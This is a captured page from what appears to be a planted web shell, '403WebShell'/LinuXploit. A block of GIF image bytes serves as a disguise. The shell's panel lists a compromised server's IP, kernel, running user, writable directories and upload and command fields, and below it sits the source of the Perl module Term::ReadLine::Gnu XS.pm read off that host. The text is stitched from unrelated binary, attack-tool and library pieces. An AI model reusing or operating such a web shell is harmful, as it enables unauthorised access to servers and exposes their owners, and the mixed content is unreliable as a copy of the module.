GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus08 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/perl5/Term/ReadLine/Gnu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/perl5/Term/ReadLine/Gnu/XS.pm
#!/usr/bin/perl
#
#	XS.pm : perl function definition for Term::ReadLine::Gnu
#
#	$Id: XS.pm,v 1.23 2008-02-08 00:43:46+09 hiroo Exp $
#
#	Copyright (c) 2008 Hiroo Hayashi.  All rights reserved.
#
#	This program is free software; you can redistribute it and/or
#	modify it under the same terms as Perl itself.

package Term::ReadLine::Gnu::XS;

use Carp;
use strict;
use AutoLoader 'AUTOLOAD';

use vars qw($VERSION);
$VERSION='1.17';	# added for CPAN

# make aliases
use vars qw(%Attribs);
*Attribs = \%Term::ReadLine::Gnu::Attribs;

use vars qw(*read_history);
*read_history = \&read_history_range;

# alias for 8 characters limitation imposed by AutoSplit
use vars qw(*rl_unbind_key *rl_unbind_function *rl_unbind_command
	    *history_list *history_arg_extract);
*rl_unbind_key = \&unbind_key;
*rl_unbind_function = \&unbind_function;
*rl_unbind_command = \&unbind_command;
*history_list = \&hist_list;
*history_arg_extract = \&hist_arg_extract;

# For backward compatibility.  Using these name (*_in_map) is deprecated.
use vars qw(*rl_unbind_function_in_map *rl_unbind_command_in_map);
*rl_unbind_function_in_map = \&unbind_function;
*rl_unbind_command_in_map  = \&unbind_command;

rl_add_defun('history-expand-line',	 \&history_expand_line);
# bind operate-and-get-next to \C-o by default for the compatibility
# with bash and Term::ReadLine::Perl
rl_add_defun('operate-and-get-next',	 \&operate_and_get_next, ord "\co");
rl_add_defun('display-readline-version', \&display_readline_version);
rl_add_defun('change-ornaments',	 \&change_ornaments);

# for ornaments()

# Prompt-start, prompt-end, command-line-start, command-line-end
#     -- zero-width beautifies to emit around prompt and the command line.
# string encoded:
my $rl_term_set = ',,,';

# These variables are used by completion functions.  Don't use for
# other purpose.
my $_i;
my @_matches;
my @_tstrs;
my $_tstrs_init = 0;

1;

# Uncomment the following line to enable AutoSplit.  If you are using
# AutoLoader.pm distributed with Perl 5.004 or earlier, you must
# update AutoLoader.pm due to its bug.

#__END__


#
#	Readline Library function wrappers
#

# Convert keymap name to Keymap if the argument is not reference to Keymap
sub _str2map ($) {
    return ref $_[0] ? $_[0]
	: (rl_get_keymap_by_name($_[0]) || carp "unknown keymap name \`$_[0]\'\n");
}

# Convert function name to Function if the argument is not reference
# to Function
sub _str2fn ($) {
    return ref $_[0] ? $_[0]
	: (rl_named_function($_[0]) || carp "unknown function name \`$_[0]\'\n");
}

sub rl_copy_keymap ($)    { return _rl_copy_keymap(_str2map($_[0])); }
sub rl_discard_keymap ($) { return _rl_discard_keymap(_str2map($_[0])); }
sub rl_set_keymap ($)     { return _rl_set_keymap(_str2map($_[0])); }

# rl_bind_key
sub rl_bind_key ($$;$) {
    if (defined $_[2]) {
	return _rl_bind_key($_[0], _str2fn($_[1]), _str2map($_[2]));
    } else {
	return _rl_bind_key($_[0], _str2fn($_[1]));
    }
}

# rl_bind_key_if_unbound
sub rl_bind_key_if_unbound ($$;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 5.0) {
	carp "rl_bind_key_if_unbound() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[2]) {
	return _rl_bind_key_if_unbound($_[0], _str2fn($_[1]), _str2map($_[2]));
    } else {
	return _rl_bind_key_if_unbound($_[0], _str2fn($_[1]));
    }
}

# rl_unbind_key
sub unbind_key ($;$) {
    if (defined $_[1]) {
	return _rl_unbind_key($_[0], _str2map($_[1]));
    } else {
	return _rl_unbind_key($_[0]);
    }
}

# rl_unbind_function
sub unbind_function ($;$) {
    # libreadline.* in Debian GNU/Linux 2.0 tells wrong value as '2.1-bash'
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 2.2) {
	carp "rl_unbind_function() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[1]) {
	return _rl_unbind_function($_[0], _str2map($_[1]));
    } else {
	return _rl_unbind_function($_[0]);
    }
}

# rl_unbind_command
sub unbind_command ($;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 2.2) {
	carp "rl_unbind_command() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[1]) {
	return _rl_unbind_command($_[0], _str2map($_[1]));
    } else {
	return _rl_unbind_command($_[0]);
    }
}

# rl_bind_keyseq
sub rl_bind_keyseq ($$;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 5.0) {
	carp "rl_bind_keyseq() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[2]) {
	return _rl_bind_keyseq($_[0], _str2fn($_[1]), _str2map($_[2]));
    } else {
	return _rl_bind_keyseq($_[0], _str2fn($_[1]));
    }
}

sub rl_set_key ($$;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 4.2) {
	carp "rl_set_key() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[2]) {
	return _rl_set_key($_[0], _str2fn($_[1]), _str2map($_[2]));
    } else {
	return _rl_set_key($_[0], _str2fn($_[1]));
    }
}

# rl_bind_keyseq_if_unbound
sub rl_bind_keyseq_if_unbound ($$;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 5.0) {
	carp "rl_bind_keyseq_if_unbound() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[2]) {
	return _rl_bind_keyseq_if_unbound($_[0], _str2fn($_[1]), _str2map($_[2]));
    } else {
	return _rl_bind_keyseq_if_unbound($_[0], _str2fn($_[1]));
    }
}

sub rl_macro_bind ($$;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if (defined $_[2]) {
	return _rl_macro_bind($_[0], $_[1], _str2map($_[2]));
    } else {
	return _rl_macro_bind($_[0], $_[1]);
    }
}

sub rl_generic_bind ($$$;$) {
    if      ($_[0] == Term::ReadLine::Gnu::ISFUNC) {
	if (defined $_[3]) {
	    _rl_generic_bind_function($_[1], _str2fn($_[2]), _str2map($_[3]));
	} else {
	    _rl_generic_bind_function($_[1], _str2fn($_[2]));
	}
    } elsif ($_[0] == Term::ReadLine::Gnu::ISKMAP) {
	if (defined $_[3]) {
	    _rl_generic_bind_keymap($_[1], _str2map($_[2]), _str2map($_[3]));
	} else {
	    _rl_generic_bind_keymap($_[1], _str2map($_[2]));
	}
    } elsif ($_[0] == Term::ReadLine::Gnu::ISMACR) {
	if (defined $_[3]) {
	    _rl_generic_bind_macro($_[1], $_[2], _str2map($_[3]));
	} else {
	    _rl_generic_bind_macro($_[1], $_[2]);
	}
    } else {
	carp("Term::ReadLine::Gnu::rl_generic_bind: invalid \`type\'\n");
    }
}

sub rl_call_function ($;$$) {
    if (defined $_[2]) {
	return _rl_call_function(_str2fn($_[0]), $_[1], $_[2]);
    } elsif (defined $_[1]) {
	return _rl_call_function(_str2fn($_[0]), $_[1]);
    } else {
	return _rl_call_function(_str2fn($_[0]));
    }
}

sub rl_invoking_keyseqs ($;$) {
    if (defined $_[1]) {
	return _rl_invoking_keyseqs(_str2fn($_[0]), _str2map($_[1]));
    } else {
	return _rl_invoking_keyseqs(_str2fn($_[0]));
    }
}

sub rl_add_funmap_entry ($$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 4.2) {
	carp "rl_add_funmap_entry() is not supported.  Ignored\n";
	return;
    }
    return _rl_add_funmap_entry($_[0], _str2fn($_[1]));
}

sub rl_tty_set_default_bindings (;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 4.2) {
	carp "rl_tty_set_default_bindings() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[0]) {
	return _rl_tty_set_defaut_bindings(_str2map($_[1]));
    } else {
	return _rl_tty_set_defaut_bindings();
    }
}

sub rl_tty_unset_default_bindings (;$) {
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 5.0) {
	carp "rl_tty_unset_default_bindings() is not supported.  Ignored\n";
	return;
    }
    if (defined $_[0]) {
	return _rl_tty_unset_defaut_bindings(_str2map($_[1]));
    } else {
	return _rl_tty_unset_defaut_bindings();
    }
}

sub rl_message {
    my $fmt = shift;
    my $line = sprintf($fmt, @_);
    _rl_message($line);
}

sub rl_completion_mode {
    # libreadline.* in Debian GNU/Linux 2.0 tells wrong value as '2.1-bash'
    my ($version) = $Attribs{library_version}
	=~ /(\d+\.\d+)/;
    if ($version < 4.3) {
	carp "rl_completion_mode() is not supported.  Ignored\n";
	return;
    }
    return _rl_completion_mode(_str2fn($_[0]));
}

#
#	for compatibility with Term::ReadLine::Perl
#
sub rl_filename_list {
    my ($text) = @_;

    # lcd : lowest common denominator
    my ($lcd, @matches) = rl_completion_matches($text,
						\&rl_filename_completion_function);
    return @matches ? @matches : $lcd;
}

#
#	History Library function wrappers
#
# history_list
sub hist_list () {
    my ($i, $history_base, $history_length, @d);
    $history_base   = $Attribs{history_base};
    $history_length = $Attribs{history_length};
    for ($i = $history_base; $i < $history_base + $history_length; $i++) {
	push(@d, history_get($i));
    }
    @d;
}

# history_arg_extract
sub hist_arg_extract ( ;$$$ ) {
    my ($line, $first, $last) = @_;
    $line  = $_      unless defined $line;
    $first = 0       unless defined $first;
    $last  = ord '$' unless defined $last; # '
    $first = ord '$' if defined $first and $first eq '$'; # '
    $last  = ord '$' if defined $last  and $last  eq '$'; # '
    &_history_arg_extract($line, $first, $last);
}

sub get_history_event ( $$;$ ) {
    _get_history_event($_[0], $_[1], defined $_[2] ? ord $_[2] : 0);
}

#
#	Ornaments
#

# This routine originates in Term::ReadLine.pm.

# Debian GNU/Linux discourages users from using /etc/termcap.  A
# subroutine ornaments() defined in Term::ReadLine.pm uses
# Term::Caps.pm which requires /etc/termcap.

# This module calls termcap (or its compatible) library, which the GNU
# Readline Library already uses, instead of Term::Caps.pm.

# Some terminals do not support 'ue' (underline end).
use vars qw(%term_no_ue);
%term_no_ue = ( kterm => 1 );


sub ornaments {
    return $rl_term_set unless @_;
    $rl_term_set = shift;
    $rl_term_set ||= ',,,';
    $rl_term_set = $term_no_ue{defined($ENV{TERM}) ? $ENV{TERM} : ''} ? 'us,me,,' : 'us,ue,,'
	if $rl_term_set eq '1';
    my @ts = split /,/, $rl_term_set, 4;
    my @rl_term_set
	= map {
	    # non-printing characters must be informed to readline
	    my $t;
	    ($_ and $t = tgetstr($_))
		? (Term::ReadLine::Gnu::RL_PROMPT_START_IGNORE
		   . $t
		   . Term::ReadLine::Gnu::RL_PROMPT_END_IGNORE)
		    : '';
	} @ts;
    $Attribs{term_set} = \@rl_term_set;
    return $rl_term_set;
}

#
#	a sample custom function
#

# The equivalent of the Bash shell M-^ history-expand-line editing
# command.

# This routine was borrowed from bash.
sub history_expand_line {
    my ($count, $key) = @_;
    my ($expanded, $new_line) = history_expand($Attribs{line_buffer});
    if ($expanded > 0) {
  	rl_modifying(0, $Attribs{end}); # save undo information
  	$Attribs{line_buffer} = $new_line;
    } elsif ($expanded < 0) {
  	my $OUT = $Attribs{outstream};
  	print $OUT "\n$new_line\n";
  	rl_on_new_line();
    }				# $expanded == 0 : no change
}

# The equivalent of the Korn shell C-o operate-and-get-next-history-line
# editing command. 

# This routine was borrowed from bash.
sub operate_and_get_next {
    my ($count, $key) = @_;

    my $saved_history_line_to_use = -1;
    my $old_rl_startup_hook;

    # Accept the current line.
    rl_call_function('accept-line', 1, $key);

    # Find the current line, and find the next line to use. */
    my $where = where_history();
    if ((history_is_stifled()
	 && ($Attribs{history_length} >= $Attribs{max_input_history}))
	|| ($where >= $Attribs{history_length} - 1)) {
	$saved_history_line_to_use = $where;
    } else {
	$saved_history_line_to_use = $where + 1;
    }
    $old_rl_startup_hook = $Attribs{startup_hook};
    $Attribs{startup_hook} = sub {
	if ($saved_history_line_to_use >= 0) {
	    rl_call_function('previous-history',
			     $Attribs{history_length}
			     - $saved_history_line_to_use,
			     0);
	    $Attribs{startup_hook} = $old_rl_startup_hook;
	    $saved_history_line_to_use = -1;
	}
    };
}

sub display_readline_version {	# show version
    my($count, $key) = @_;	# ignored in this function
    my $OUT = $Attribs{outstream};
    print $OUT
	("\nTerm::ReadLine::Gnu version: $Term::ReadLine::Gnu::VERSION");
    print $OUT
	("\nGNU Readline Library version: $Attribs{library_version}\n");
    rl_on_new_line();
}

# sample function of rl_message()
sub change_ornaments {
    my($count, $key) = @_;	# ignored in this function
    rl_save_prompt;
    rl_message("[S]tandout, [U]nderlining, [B]old, [R]everse, [V]isible bell: ");
    my $c = chr rl_read_key;
    if ($c =~ /s/i) {
	ornaments('so,me,,');
    } elsif ($c =~ /u/i) {
	ornaments('us,me,,');
    } elsif ($c =~ /b/i) {
	ornaments('md,me,,');
    } elsif ($c =~ /r/i) {
	ornaments('mr,me,,');
    } elsif ($c =~ /v/i) {
	ornaments('vb,,,');
    } else {
	rl_ding;
    }
    rl_restore_prompt;
    rl_clear_message;
}

#
#	for tkRunning
#
sub Tk_getc {
    &Term::ReadLine::Tk::Tk_loop
	if $Term::ReadLine::toloop && defined &Tk::DoOneEvent;
    my $FILE = $Attribs{instream};
    return rl_getc($FILE);
}

# redisplay function for secret input like password
# usage:
#	$a->{redisplay_function} = $a->{shadow_redisplay};
#	$line = $t->readline("password> ");
sub shadow_redisplay {
    @_tstrs = _tgetstrs() unless $_tstrs_init;
    # remove prompt start/end mark from prompt string
    my $prompt = $Attribs{prompt}; my $s;
    $s = Term::ReadLine::Gnu::RL_PROMPT_START_IGNORE; $prompt =~ s/$s//g;
    $s = Term::ReadLine::Gnu::RL_PROMPT_END_IGNORE;   $prompt =~ s/$s//g;
    my $OUT = $Attribs{outstream};
    my $oldfh = select($OUT); $| = 1; select($oldfh);
    print $OUT ($_tstrs[0],	# carriage return
		$_tstrs[1],	# clear to EOL
		$prompt, '*' x length($Attribs{line_buffer}));
    print $OUT ($_tstrs[2]	# cursor left
		x (length($Attribs{line_buffer}) - $Attribs{point}));
    $oldfh = select($OUT); $| = 0; select($oldfh);
}

sub _tgetstrs {
    my @s = (tgetstr('cr'),	# carriage return
	     tgetstr('ce'),	# clear to EOL
	     tgetstr('le'));	# cursor left
    warn <<"EOM" unless (defined($s[0]) && defined($s[1]) && defined($s[2]));
Your terminal 'TERM=$ENV{TERM}' does not support enough function.
Check if your environment variable 'TERM' is set correctly.
EOM
    # suppress warning "Use of uninitialized value in print at ..."
    $s[0] = $s[0] || ''; $s[1] = $s[1] || ''; $s[2] = $s[2] || '';
    $_tstrs_init = 1;
    return @s;
}

# callback handler wrapper function for CallbackHandlerInstall method
sub _ch_wrapper {
    my $line = shift;

    if (defined $line) {
	if ($Attribs{do_expand}) {
	    my $result;
	    ($result, $line) = history_expand($line);
	    my $outstream = $Attribs{outstream};
	    print $outstream "$line\n" if ($result);

	    # return without adding line into history
	    if ($result < 0 || $result == 2) {
		return '';	# don't return `undef' which means EOF.
	    }
	}

	# add to history buffer
	add_history($line) 
	    if ($Attribs{MinLength} > 0
		&& length($line) >= $Attribs{MinLength});
    }
    &{$Attribs{_callback_handler}}($line);
}

#
#	List Completion Function
#
sub list_completion_function ( $$ ) {
    my($text, $state) = @_;

    $_i = $state ? $_i + 1 : 0;	# clear counter at the first call
    my $cw = $Attribs{completion_word};
    for (; $_i <= $#{$cw}; $_i++) {
	return $cw->[$_i] if ($cw->[$_i] =~ /^\Q$text/);
    }
    return undef;
}

#
#	wrapper completion function of 'completion_function'
#	for compatibility with Term::ReadLine::Perl
#
sub _trp_completion_function ( $$ ) {
    my($text, $state) = @_;

    my $cf;
    return undef unless defined ($cf = $Attribs{completion_function});

    if ($state) {
	$_i++;
    } else {
	# the first call
	$_i = 0;		# clear index
	@_matches = &$cf($text,
			 $Attribs{line_buffer},
			 $Attribs{point} - length($text));
	# return here since $#_matches is 0 instead of -1 when
	# @_matches = undef
	return undef unless defined $_matches[0];
    }

    for (; $_i <= $#_matches; $_i++) {
	return $_matches[$_i] if ($_matches[$_i] =~ /^\Q$text/);
    }
    return undef;
}

1;

__END__

Youez - 2016 - github.com/yon3zu
LinuXploit